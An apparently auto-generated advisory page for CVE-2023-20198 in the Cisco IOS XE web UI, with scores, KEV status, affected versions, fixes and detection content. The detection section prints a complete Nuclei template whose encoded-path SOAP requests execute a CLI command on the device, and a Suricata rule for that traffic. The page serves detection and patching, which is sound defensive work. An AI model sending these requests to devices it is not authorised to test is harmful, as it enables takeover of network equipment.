CVE-2023-20198: Cisco IOS XE Web UI exploited

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

What it is

Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker. Our investigation has determined that the actors exploited two previously unknown issues. The attacker first exploited CVE-2023-20198 to gain initial access and issued a privilege 15 command to create a local user and password combination. This allowed the user to log in with normal user access. The attacker then exploited another component of the web UI feature, leveraging the new local user to elevate privilege to root and write the implant to the file system. Cisco has assigned CVE-2023-20273 to this issue. CVE-2023-20198 has been assigned a CVSS Score of 10.0. CVE-2023-20273 has been assigned a CVSS Score of 7.2. Both of these CVEs are being tracked by CSCwh87343.

Description quoted from the CVE record (assigned by cisco, published 2023-10-16).

Weakness: Unprotected Alternate Channel

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since: 2023-10-16
US federal deadline: 2023-10-20
Ransomware use: Not known

Public exploit evidence (Exploit Observer)

Exploit Observer found 2 Metasploit modules, 1 Nuclei template, 55 code repositories and 9 research write-ups naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 75 references on Exploit Observer

Live scores

EPSS: 0.996
very likely to be attacked soon
VEDAS: 0.981
strong exploit evidence
On CISA KEV: Yes, since 2023-10-16
Detection rule: Nuclei · Suricata

EPSS (chance of attack)

VEDAS (exploit evidence)

Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

Product	Affected	Not affected
Cisco IOS XE Software	version 16.1.1 version 16.1.2 version 16.1.3 version 16.2.1 version 16.2.2 version 16.3.1 version 16.3.2 version 16.3.3 and 178 more ranges	Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

CISA required action: Verify that instances of Cisco IOS XE Web UI are in compliance with BOD 23-02 and apply mitigations per vendor instructions. For affected products (Cisco IOS XE Web UI exposed to the internet or to untrusted networks), follow vendor instructions to determine if a system may have been compromised and immediately report positive findings to CISA.

Vendor guidance:

How to detect it

Nuclei template (active check)

Cisco - Remote Code Execution
Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker.

Name and description quoted from the template, written by VEDAS.

The template sends 3 requests (POST /%77eb%75i_%77sma_Http, POST /%2577eb%2575i_%2577sma_Http, POST /%2577ebui_wsma_https); it decides using regex, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash

nuclei -u https://your-host -t CVE-2023-20198.yaml

Show the template (67 lines)

yaml

id: CVE-2023-20198

info:
  name: "Cisco - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Cisco is providing an update for the ongoing investigation into observed exploitation of the web UI feature in
    Cisco IOS XE Software. We are updating the list of fixed releases and adding the Software Checker.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2023-20198&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-20198
  metadata:
    verified: false
  tags: cve,cve2023,cisco,rce,router,iot,network,kev,vkev,vuln
variables:
  cmd: 'uname -a'

http:
  - raw:
      - |
        POST /%77eb%75i_%77sma_Http HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>{{cmd}}</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
      - |
        POST /%2577eb%2575i_%2577sma_Http HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>{{cmd}}</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>
      - |
        POST /%2577ebui_wsma_https HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
        Content-Type: text/xml; charset=UTF-8
        Connection: close

        <?xml version="1.0"?> <SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <SOAP:Header> <wsse:Security xmlns:wsse="http://schemas.xmlsoap.org/ws/2002/04/secext"> <wsse:UsernameToken SOAP:mustUnderstand="false"> <wsse:Username>admin</wsse:Username><wsse:Password>*****</wsse:Password></wsse:UsernameToken></wsse:Security></SOAP:Header><SOAP:Body><request correlator="exec1" xmlns="urn:cisco:wsma-exec"> <execCLI xsd="false"><cmd>{{cmd}}</cmd><dialogue><expect></expect><reply></reply></dialogue></execCLI></request></SOAP:Body></SOAP:Envelope>

    stop-at-first-match: true
    matchers:
      - type: word
        part: body
        words:
          - XMLSchema
          - execLog
          - Cisco Systems
          - <text>
          - <received>
        condition: and

    extractors:
      - type: regex
        part: body
        group: 1
        regex:
          - "<text>([\\s\\S]*?)</text>"

CVE-2023-20198.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2023-20198 Cisco - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules

suricata

alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2023-20198 Cisco - Remote Code Execution"; flow:established,to_server; http.uri; content:"%77eb%75i_%77sma_Http"; nocase; http.request_body; content:"http://"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2023-20198; reference:url,https://www.exploit.observer/?keyword=CVE-2023-20198&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=cisco&match=exact; sid:1009853; rev:1;)

CVE-2023-20198.rules on GitHub

Advisories on this CVE

SANS ISC reports scans it suspects target Cisco IOS CVE-2023-20198 (full advisory)

References

Government sources

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-20198 (government-resource)

Other references

cisco-sa-iosxe-webui-privesc-j22SaA4z

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.